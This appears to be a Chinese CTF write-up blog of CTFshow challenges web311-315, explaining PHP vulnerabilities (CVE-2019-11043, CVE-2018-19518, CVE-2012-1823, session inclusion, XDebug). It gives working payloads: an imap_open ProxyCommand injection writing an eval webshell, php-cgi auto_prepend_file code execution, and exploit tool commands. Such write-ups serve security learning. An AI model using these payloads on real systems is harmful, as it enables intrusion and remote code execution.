CTFshow刷题日记-WEB-PHPCVE(web311-315)_php

web311-CVE-2019-11043-PHP-fpm远程代码执行漏洞

提示:似曾相识,就这一个文件,不用扫描

注释中只有一个​​<!-- cve-->​​用burp抓包发现响应行中的X-Powered-By字段很可疑

CTFshow刷题日记-WEB-PHPCVE(web311-315)_php_02

谷歌之后发现该PHP版本存在漏洞:​​PHP 远程代码执行漏洞(CVE-2019-11043​

漏洞原理

CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

location ~ [^/]\.php(/|$) { ... fastcgi_split_path_info ^(.+?\.php)(/.*)$; fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; ... }

攻击者可以使用换行符(%0a)来破坏​​fastcgi_split_path_info​​指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞

影响范围

在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:

  • PHP 7.0 版本
  • PHP 7.1 版本
  • PHP 7.2 版本
  • PHP 7.3 版本

漏洞复现存在的问题是漏洞利用工具(phuip-fpizdam)需要安装go环境,​​安装教程​

安装好之后进行以下操作

  1. 创建工作工作空间(Workspaces),官方建议目录​​$HOME/go​
mkdir $HOME/go
  1. 将你的工作空间路径声明到环境变量中
# 编辑 ~/.bash_profile 文件
vim ~/.bash_profile
# 在最后一行添加下面这句。$HOME/go 为你工作空间的路径,你也可以换成你喜欢的路径
export GOPATH=$HOME/go
# 保存退出后source一下(vim 的使用方法可以自己搜索一下)
source ~/.bash_profile
  1. 在你的工作空间创建你的第一个工程目录
# 创建并进入你的第一个工程目录
mkdir -p $GOPATH/src/test && cd $GOPATH/src/test
  1. 下载并运行漏洞利用工具phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam.git phuip-fpizdam
cd phuip-fpizdam
go get -v && go build或者go install phuip-fpizdam

如果出现这种情况是因为默认使用的代理是proxy.golang.org,在国内无法访问

CTFshow刷题日记-WEB-PHPCVE(web311-315)_运维_03

解决方法

执行命令切换为国内代理:
go env -w GOPROXY=https://goproxy.cn

然后重新build,生成可执行文件phuip-fpizdam

CTFshow刷题日记-WEB-PHPCVE(web311-315)_nginx_04

  1. 利用工具写入shell
./phuip-fpizdam url/index.php

写入成功

CTFshow刷题日记-WEB-PHPCVE(web311-315)_php_05

然后访问index.php?a=ls,就可以执行命令了,有可能执行失败,多刷新几次就行了

CTFshow刷题日记-WEB-PHPCVE(web311-315)_ctf_06

web312-CVE-2018-19518-PHP imap_open函数任意命令执行漏洞

前端是邮箱登录

CTFshow刷题日记-WEB-PHPCVE(web311-315)_web安全_07

题目也没有给出提示,使用burp抓取数据包,从响应中找线索

CTFshow刷题日记-WEB-PHPCVE(web311-315)_nginx_08

服务器是Debian系统,而且前端是与邮箱有关,有没有一个漏洞与两者有关呢,答案是肯定的

CVE-2018-19518

漏洞原理

IMAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143,在php中调用的是imap_open函数来实现功能

imap_open(string $mailbox,string $user,string $password)

其中参数mailbox,是用来连接邮箱服务器的,它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh
又因为ssh命令中可以通过设置oProxyCommand来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞

影响系统:Debian/ubuntu

#payload
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}
# 其中最后一个大括号用来闭合接收变量一开始的括号,类似闭合sql注入里面的单引号
-d 选项为decode解码
%3d =
%09 TAB
管道符sh,就是把echo '<?php eval($_POST[1]);' > /var/www/html/1.php 解码以后作为shell脚本的参数,
最后在通过ProxyCommand来执行shell

# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=123&password=123

生成shell之后就可以执行命令了

CTFshow刷题日记-WEB-PHPCVE(web311-315)_ctf_09

web313-CVE-2012-1823-PHP-CGI远程代码执行漏洞

还是用burp抓包,PHP版本是PHP/5.4.1

CTFshow刷题日记-WEB-PHPCVE(web311-315)_web安全_10

谷歌到该版本对应的漏洞,​​PHP-CGI远程代码执行漏洞(CVE-2012-1823)分析​

漏洞原理

上边链接,p神博客已经给出了详细说明

漏洞简单来说,就是用户请求的querystring被作为了php-cgi的参数

影响版本:php < 5.3.12 php < 5.4.2

用到的cgi模式下的参数

  • ​-s​​ 显示文件源码
  • ​-d​​ 指定配置项

CTFshow刷题日记-WEB-PHPCVE(web311-315)_ctf_11

通过使用​​-d​​​指定​​auto_prepend_file​​来制造任意文件包含漏洞,执行任意代码

构造payload

index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
# 通过php://input伪协议接受post传参,注意,空格用+或%20代替,=用url编码代替
post:<?php echo shell_exec("id"); ?>

CTFshow刷题日记-WEB-PHPCVE(web311-315)_nginx_12

web314-session文件包含

<?php
error_reporting(0);
highlight_file(__FILE__);
//phpinfo
$file = $_GET['f'];
if(!preg_match('/\:/',$file)){
include($file);
}

传入的参数中不能出现冒号,也就是不能用伪协议,可以使用PHP_SESSION_UPLOAD_PROGRESS文件包含,去执行命令

CTFshow刷题日记-WEB-PHPCVE(web311-315)_web安全_13

查看flag

CTFshow刷题日记-WEB-PHPCVE(web311-315)_运维_14

web315-XDebug 远程调试漏洞

提示:debug开启,端口9000

提示既然这么明显了,那肯定找关于debug的漏洞,​​XDebug 远程调试漏洞​

漏洞原理

XDebug是PHP的一个扩展,用于调试PHP代码。如果目标开启了远程调试模式,并设置​​remote_connect_back = 1​

xdebug.remote_connect_back = 1 xdebug.remote_enable = 1

这个配置下,我们访问​​http://target/index.php?XDEBUG_SESSION_START=phpstorm​​​,目标服务器的XDebug将会连接访问者的IP(或​​X-Forwarded-For​​头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码

因为需要使用dbgp协议与目标服务器通信,所以无法用http协议复现漏洞,p神给了脚本​​下载地址​

python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');'
# usage: xdebug.py [-h] -c CODE -t TARGET [-l LISTEN]
# 要求用python3并安装requests库
# 因为该通信是一个反向连接的过程,exp.py启动后其实是会监听本地的9000端口(可通过-l参数指定)并等待XDebug前来连接,所以执行该脚本的服务器必须有外网IP(或者与目标服务器处于同一内网),云服务器还需要注意安全组

成功执行命令

CTFshow刷题日记-WEB-PHPCVE(web311-315)_web安全_15



CTFshow刷题日记-WEB-PHPCVE(web311-315)_ctf_16